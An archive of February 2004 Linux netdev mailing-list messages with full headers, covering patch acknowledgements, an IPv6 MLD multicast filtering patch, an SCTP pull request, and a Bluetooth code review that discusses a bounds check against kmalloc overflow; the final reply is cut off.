16:04:39 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1704ZKO023293 for ; Fri, 6 Feb 2004 16:04:36 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1704Nb15313; Fri, 6 Feb 2004 19:04:23 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1704Na20205; Fri, 6 Feb 2004 19:04:23 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1703pkC021190; Fri, 6 Feb 2004 19:03:52 -0500 Date: Fri, 6 Feb 2004 16:04:22 -0800 From: "David S. Miller" To: Shmuel Hen Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] [NET] split arp_send into arp_create and arp_xmit (resend) Message-Id: <20040206160422.018955f3.davem@redhat.com> In-Reply-To: <200402051559.10075.shmulik.hen@intel.com> References: <200402051559.10075.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3063 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 5 Feb 2004 15:58:56 +0200 Shmuel Hen wrote: > Enable intermediate network drivers like bonding to create an ARP > packet and modify it to their needs before sending it, while avoiding > code duplication. It does not affect any other place in the kernel > that uses arp_send. Applied, thanks Shmuel. From davem@redhat.com Fri Feb 6 16:25:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 16:25:43 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i170PeKO026813 for ; Fri, 6 Feb 2004 16:25:40 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i170Pcb22827; Fri, 6 Feb 2004 19:25:38 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i170Pca25137; Fri, 6 Feb 2004 19:25:38 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i170P6kC026243; Fri, 6 Feb 2004 19:25:07 -0500 Date: Fri, 6 Feb 2004 16:25:37 -0800 From: "David S. Miller" To: Shmuel Hen Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] [8021q] Use VLAN tag set functionality in 8021q module (resend) Message-Id: <20040206162537.7f314569.davem@redhat.com> In-Reply-To: <200402051559.45159.shmulik.hen@intel.com> References: <200402051559.45159.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3065 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 5 Feb 2004 15:59:43 +0200 Shmuel Hen wrote: > Make the regular/HW accelerated xmit functions in the 8021q module > use the new set VLAN tag functionality to reduce code duplication. Also applied, thanks. From davem@redhat.com Fri Feb 6 16:25:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 16:25:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i170PMKO026760 for ; Fri, 6 Feb 2004 16:25:23 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i170PLb22709; Fri, 6 Feb 2004 19:25:21 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i170PLa25038; Fri, 6 Feb 2004 19:25:21 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i170OnkC026072; Fri, 6 Feb 2004 19:24:49 -0500 Date: Fri, 6 Feb 2004 16:25:20 -0800 From: "David S. Miller" To: Shmuel Hen Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] [8021q] Export VLAN tag get/set functionality (resend) Message-Id: <20040206162520.308c523d.davem@redhat.com> In-Reply-To: <200402051559.27597.shmulik.hen@intel.com> References: <200402051559.27597.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3064 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 5 Feb 2004 15:59:22 +0200 Shmuel Hen wrote: > Enable intermediate network drivers like bonding to get or set a > VLAN tag in an skb without a need to know about how tagging is done > according to a network adapter's capabilities. > > Tested for patch application and compilation against linux-2.6.2. Applied. From dlstevens@us.ibm.com Fri Feb 6 17:01:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 17:01:58 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1711lKO030159 for ; Fri, 6 Feb 2004 17:01:54 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1711etv490312; Fri, 6 Feb 2004 20:01:40 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1711dbP108504; Fri, 6 Feb 2004 18:01:39 -0700 In-Reply-To: <20040115221841.7e7cc78d%hibi665@oki.com> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: Takashi Hibi Cc: netdev@oss.sgi.com, davem@redhat.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Fri, 6 Feb 2004 18:01:37 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/06/2004 18:01:39 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244" X-archive-position: 3066 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244 Content-type: multipart/alternative; Boundary="1__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244" --1__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244 Content-type: text/plain; charset=US-ASCII Takashi, Below is a patch that allows MLD ICMP types without applying the interface filters to them. +-DLS [in-line & attached] diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F1/include/net/addrconf.h --- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800 +++ linux-2.6.2F1/include/net/addrconf.h 2004-02-06 16:03:34.000000000 -0800 @@ -98,6 +98,7 @@ extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, struct in6_addr *src_addr); +extern int is_mld(struct sk_buff *skb); extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len); diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F1/net/ipv6/ip6_input.c --- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800 +++ linux-2.6.2F1/net/ipv6/ip6_input.c 2004-02-06 16:04:00.000000000 -0800 @@ -168,11 +168,19 @@ smp_read_barrier_depends(); if (ipprot->flags & INET6_PROTO_FINAL) { + struct ipv6hdr *hdr; + if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) { skb->csum = csum_sub(skb->csum, csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0)); cksum_sub++; } + hdr = skb->nh.ipv6h; + if (ipv6_addr_is_multicast(&hdr->daddr) && + !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, + &hdr->saddr) && + !is_mld(skb)) + goto discard; } if (!(ipprot->flags & INET6_PROTO_NOPOLICY) && !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) @@ -211,16 +219,11 @@ int ip6_mc_input(struct sk_buff *skb) { - struct ipv6hdr *hdr; - int deliver = 0; + int deliver = 1; int discard = 1; IP6_INC_STATS_BH(Ip6InMcastPkts); - hdr = skb->nh.ipv6h; - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) - deliver = 1; - /* * IPv6 multicast router mode isnt currently supported. */ diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F1/net/ipv6/mcast.c --- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800 +++ linux-2.6.2F1/net/ipv6/mcast.c 2004-02-06 16:04:25.000000000 -0800 @@ -901,6 +901,25 @@ } /* + * identify MLD packets for MLD filter exceptions + */ +int is_mld(struct sk_buff *skb) +{ + struct icmp6hdr *pic = (struct icmp6hdr *)skb->h.raw; + + switch (pic->icmp6_type) { + case ICMPV6_MGM_QUERY: + case ICMPV6_MGM_REPORT: + case ICMPV6_MGM_REDUCTION: + case ICMPV6_MLD2_REPORT: + return 1; + default: + break; + } + return 0; +} + +/* * check if the interface/address pair is valid */ int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, (See attached file: mldx.patch) --1__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Takashi,
Below is a patch that allows MLD ICMP types without
applying the interface filters to them.

+-DLS
[in-line & attached]

diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F1/include/net/addrconf.h
--- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800
+++ linux-2.6.2F1/include/net/addrconf.h 2004-02-06 16:03:34.000000000 -0800
@@ -98,6 +98,7 @@

extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
struct in6_addr *src_addr);
+extern int is_mld(struct sk_buff *skb);

extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len);

diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F1/net/ipv6/ip6_input.c
--- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800
+++ linux-2.6.2F1/net/ipv6/ip6_input.c 2004-02-06 16:04:00.000000000 -0800
@@ -168,11 +168,19 @@

smp_read_barrier_depends();
if (ipprot->flags & INET6_PROTO_FINAL) {
+ struct ipv6hdr *hdr;
+
if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) {
skb->csum = csum_sub(skb->csum,
csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0));
cksum_sub++;
}
+ hdr = skb->nh.ipv6h;
+ if (ipv6_addr_is_multicast(&hdr->daddr) &&
+ !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr,
+ &hdr->saddr) &&
+ !is_mld(skb))
+ goto discard;
}
if (!(ipprot->flags & INET6_PROTO_NOPOLICY) &&
!xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb))
@@ -211,16 +219,11 @@

int ip6_mc_input(struct sk_buff *skb)
{
- struct ipv6hdr *hdr;
- int deliver = 0;
+ int deliver = 1;
int discard = 1;

IP6_INC_STATS_BH(Ip6InMcastPkts);

- hdr = skb->nh.ipv6h;
- if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr))
- deliver = 1;
-
/*
* IPv6 multicast router mode isnt currently supported.
*/
diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F1/net/ipv6/mcast.c
--- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800
+++ linux-2.6.2F1/net/ipv6/mcast.c 2004-02-06 16:04:25.000000000 -0800
@@ -901,6 +901,25 @@
}

/*
+ * identify MLD packets for MLD filter exceptions
+ */
+int is_mld(struct sk_buff *skb)
+{
+ struct icmp6hdr *pic = (struct icmp6hdr *)skb->h.raw;
+
+ switch (pic->icmp6_type) {
+ case ICMPV6_MGM_QUERY:
+ case ICMPV6_MGM_REPORT:
+ case ICMPV6_MGM_REDUCTION:
+ case ICMPV6_MLD2_REPORT:
+ return 1;
+ default:
+ break;
+ }
+ return 0;
+}
+
+/*
* check if the interface/address pair is valid
*/
int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,

(See attached file: mldx.patch)
--1__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244-- --0__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244 Content-type: application/octet-stream; name="mldx.patch" Content-Disposition: attachment; filename="mldx.patch" Content-ID: <10__=07BBE4A0DF9682448f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yL2luY2x1ZGUvbmV0L2FkZHJjb25mLmggbGludXgtMi42LjJG MS9pbmNsdWRlL25ldC9hZGRyY29uZi5oCi0tLSBsaW51eC0yLjYuMi9pbmNsdWRlL25ldC9hZGRy Y29uZi5oCTIwMDQtMDItMDMgMTk6NDQ6MTcuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYu MkYxL2luY2x1ZGUvbmV0L2FkZHJjb25mLmg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E5OjQ0OjI4LjAwMDAwMDAwMCAtMDgwMAor KysgbGludXgtMi42LjJGMS9uZXQvaXB2Ni9tY2FzdC5jCTIwMDQtMDItMDYgMTY6MDQ6MjUuMDAw MDAwMDAwIC0wODAwCkBAIC05MDEsNiArOTAxLDI1IEBACiB9CiAKIC8qCisgKiBpZGVudGlmeSBN TEQgcGFja2V0cyBmb3IgTUxEIGZpbHRlciBleGNlcHRpb25zCisgKi8KK2ludCBpc19tbGQoc3Ry dWN0IHNrX2J1ZmYgKnNrYikKK3sKKwlzdHJ1Y3QgaWNtcDZoZHIgKnBpYyA9IChzdHJ1Y3QgaWNt cDZoZHIgKilza2ItPmgucmF3OworCisJc3dpdGNoIChwaWMtPmljbXA2X3R5cGUpIHsKKwljYXNl IElDTVBWNl9NR01fUVVFUlk6CisJY2FzZSBJQ01QVjZfTUdNX1JFUE9SVDoKKwljYXNlIElDTVBW Nl9NR01fUkVEVUNUSU9OOgorCWNhc2UgSUNNUFY2X01MRDJfUkVQT1JUOgorCQlyZXR1cm4gMTsK KwlkZWZhdWx0OgorCQlicmVhazsKKwl9CisJcmV0dXJuIDA7Cit9CisKKy8qCiAgKgljaGVjayBp ZiB0aGUgaW50ZXJmYWNlL2FkZHJlc3MgcGFpciBpcyB2YWxpZAogICovCiBpbnQgaXB2Nl9jaGtf bWNhc3RfYWRkcihzdHJ1Y3QgbmV0X2RldmljZSAqZGV2LCBzdHJ1Y3QgaW42X2FkZHIgKmdyb3Vw LAo= --0__=07BBE4A0DF9682448f9e8a93df938690918c07BBE4A0DF968244-- From sri@us.ibm.com Fri Feb 6 17:24:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 17:24:49 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i171OdKO032321 for ; Fri, 6 Feb 2004 17:24:46 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i171OYtv453074; Fri, 6 Feb 2004 20:24:34 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i171OWcb134428; Fri, 6 Feb 2004 18:24:33 -0700 Date: Fri, 6 Feb 2004 17:24:32 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] 2.6.2 SCTP updates Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3067 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work to get the following udpates to SCTP on top of linux 2.6.2 These csets include fixes for a couple of issues that were reported by SCTP users. - Removed deprecated ADLER32 checksum support as it is unexpectedly getting selected in certain configurations (ex: allyesconfig) and we no longer need to support it. - Updated the default max socket receive buffer to 64K from 32K and also added sysctl variables to change sctp socket send/receive buffers. # This patch includes the following deltas: # ChangeSet 1.1548 -> 1.1550 # net/sctp/associola.c 1.64 -> 1.65 # net/sctp/endpointola.c 1.29 -> 1.30 # net/sctp/Kconfig 1.7 -> 1.8 # include/net/sctp/constants.h 1.17 -> 1.18 # net/sctp/sysctl.c 1.15 -> 1.16 # include/linux/sysctl.h 1.57 -> 1.58 # net/sctp/protocol.c 1.59 -> 1.61 # net/sctp/adler32.c 1.8 -> (deleted) # net/sctp/ulpqueue.c 1.26 -> 1.27 # include/net/sctp/structs.h 1.78 -> 1.79 # net/sctp/Makefile 1.9 -> 1.10 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- ChangeSet@1.1550, 2004-02-05 13:58:37-08:00, sri@us.ibm.com [SCTP] Removed the deprecated ADLER32 checksum support. ChangeSet@1.1474.108.5, 2004-01-23 14:58:38-08:00, sri@us.ibm.com [SCTP] Add sysctl parameters to update socket send/receive buffers. ChangeSet@1.1474.108.4, 2004-01-19 11:12:44-08:00, sri@us.ibm.com [SCTP] provide valid tos and oif values for ip_route_output_key. (ja@ssi.bg) Thanks Sridhar From ak@suse.de Fri Feb 6 18:26:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 18:26:25 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i172QLKO000948 for ; Fri, 6 Feb 2004 18:26:21 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 46F021639B2; Sat, 7 Feb 2004 03:24:30 +0100 (CET) Date: Sat, 7 Feb 2004 03:24:28 +0100 From: Andi Kleen To: Marcel Holtmann Cc: bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk Subject: Re: some bluetooth fixes Message-Id: <20040207032428.56ffbebc.ak@suse.de> In-Reply-To: <1076079512.2806.40.camel@pegasus> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3068 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Fri, 06 Feb 2004 15:58:32 +0100 Marcel Holtmann wrote: > Hi Andi, > > > While reading bluetooth code I noticed some bugs and potential overflows. > > > > Also I commented one ref-counting bug. > > > > Patch against 2.6.2. > > thanks for looking at it. Same applies to 2.4, right? Probably. I haven't looked at 2.4. > > diff -u linux-2.6.2-work32/net/bluetooth/hci_sock.c-o linux-2.6.2-work32/net/bluetooth/hci_sock.c > > --- linux-2.6.2-work32/net/bluetooth/hci_sock.c-o 2004-02-05 08:09:54.000000000 +0100 > > +++ linux-2.6.2-work32/net/bluetooth/hci_sock.c 2004-02-05 14:57:59.000000000 +0100 > > @@ -392,6 +392,8 @@ > > > > skb->pkt_type = *((unsigned char *) skb->data); > > skb_pull(skb, 1); > > + /* AK: looks broken. Who guarantees that hdev doesn't go away while > > + the skb is queued ? */ > > skb->dev = (void *) hdev; > > > > if (skb->pkt_type == HCI_COMMAND_PKT) { > > Why should hdev go away? Because the skbuff is queued, but there is no reference count to keep the device around. I wasn't 100% sure on that, so I just commented it. Feel free to remove if you think it's correct. > > diff -u linux-2.6.2-work32/net/bluetooth/hci_conn.c-o linux-2.6.2-work32/net/bluetooth/hci_conn.c > > --- linux-2.6.2-work32/net/bluetooth/hci_conn.c-o 2004-02-05 08:09:54.000000000 +0100 > > +++ linux-2.6.2-work32/net/bluetooth/hci_conn.c 2004-02-05 15:06:10.000000000 +0100 > > @@ -353,21 +353,24 @@ > > struct hci_conn_info *ci; > > struct hci_dev *hdev; > > struct list_head *p; > > - int n = 0, size; > > + int n = 0, size, err; > > > > if (copy_from_user(&req, (void *) arg, sizeof(req))) > > return -EFAULT; > > > > - if (!(hdev = hci_dev_get(req.dev_id))) > > - return -ENODEV; > > + if (req.conn_num >= (2*PAGE_SIZE)/sizeof(struct hci_conn_info)) > > + return -EINVAL; > > > > size = req.conn_num * sizeof(struct hci_conn_info) + sizeof(req); > > > > - if (verify_area(VERIFY_WRITE, (void *)arg, size)) > > - return -EFAULT; > > - > > if (!(cl = (void *) kmalloc(size, GFP_KERNEL))) > > return -ENOMEM; > > + > > + if (!(hdev = hci_dev_get(req.dev_id))) { > > + kfree(cl); > > + return -ENODEV; > > + } > > + > > ci = cl->conn_info; > > > > hci_dev_lock_bh(hdev); > > Why 2*PAGE_SIZE in this case? What is different? It's just an arbitary number. Mainly to stop overflow attacks on user controlled values. e.g. user can pass UINT_MAX for conn_num. The kmalloc would overflow and succeed. But a later loop running through the values could do wrong things on the too small buffer. The code seems to not be vunerable to this, but only by luck. Also in general it's good practice to stop user controlled kmalloc at a reasonable size. -Andi From davem@redhat.com Fri Feb 6 19:45:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 19:45:30 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i173jKKO002123 for ; Fri, 6 Feb 2004 19:45:21 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i173jJb31531; Fri, 6 Feb 2004 22:45:19 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i173jJa10298; Fri, 6 Feb 2004 22:45:19 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i173ilkC015516; Fri, 6 Feb 2004 22:44:48 -0500 Date: Fri, 6 Feb 2004 19:45:18 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates Message-Id: <20040206194518.56787717.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3069 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 6 Feb 2004 17:24:32 -0800 (PST) Sridhar Samudrala wrote: > Please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work > to get the following udpates to SCTP on top of linux 2.6.2 Pulled, but. > - Updated the default max socket receive buffer to 64K from 32K and also > added sysctl variables to change sctp socket send/receive buffers. Why do you use specialized SCTP rmem/wmem values and not the globally sysctl's ones we have for sockets already? From davem@redhat.com Fri Feb 6 19:48:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 19:48:57 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i173mrKO002495 for ; Fri, 6 Feb 2004 19:48:53 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i173mjb32676; Fri, 6 Feb 2004 22:48:45 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i173mja10923; Fri, 6 Feb 2004 22:48:45 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i173mDkC016171; Fri, 6 Feb 2004 22:48:14 -0500 Date: Fri, 6 Feb 2004 19:48:44 -0800 From: "David S. Miller" To: Mika =?ISO-8859-1?Q?Penttil=E4?= Cc: kazunori@miyazawa.org, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine Message-Id: <20040206194844.42bebb59.davem@redhat.com> In-Reply-To: <4023D6FB.9010909@kolumbus.fi> References: <200402070232.33771.kazunori@miyazawa.org> <4023D6FB.9010909@kolumbus.fi> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i173mrKO002495 X-archive-position: 3070 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 06 Feb 2004 20:03:39 +0200 Mika Penttilä wrote: > >Yoshifuji-san and I send the patch which unifies IPv6 output routine and remove > >RTF_NDISC again. It resolves an issue of IPv6 IPsec with neighbor discovery > >without a flag. > > You break multicast replies, see what ndisc_build_ll_hdr() does... That's right, and compiler should have warned about ndisc_build_ll_hdr() (a static function in ndisc.c) since it was no longer referenced after applying the patch, which would be a clue that something was wrong :-) From davem@redhat.com Fri Feb 6 19:53:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 19:53:48 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i173riKO002885 for ; Fri, 6 Feb 2004 19:53:44 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i173rfb01997; Fri, 6 Feb 2004 22:53:41 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i173rfa12034; Fri, 6 Feb 2004 22:53:41 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i173qtkC017214; Fri, 6 Feb 2004 22:53:09 -0500 Date: Fri, 6 Feb 2004 19:53:25 -0800 From: "David S. Miller" To: David Stevens Cc: hibi665@oki.com, netdev@oss.sgi.com Subject: Re: Source Specific Query of MLDv2 [PATCH] Message-Id: <20040206195325.207aa1c7.davem@redhat.com> In-Reply-To: References: 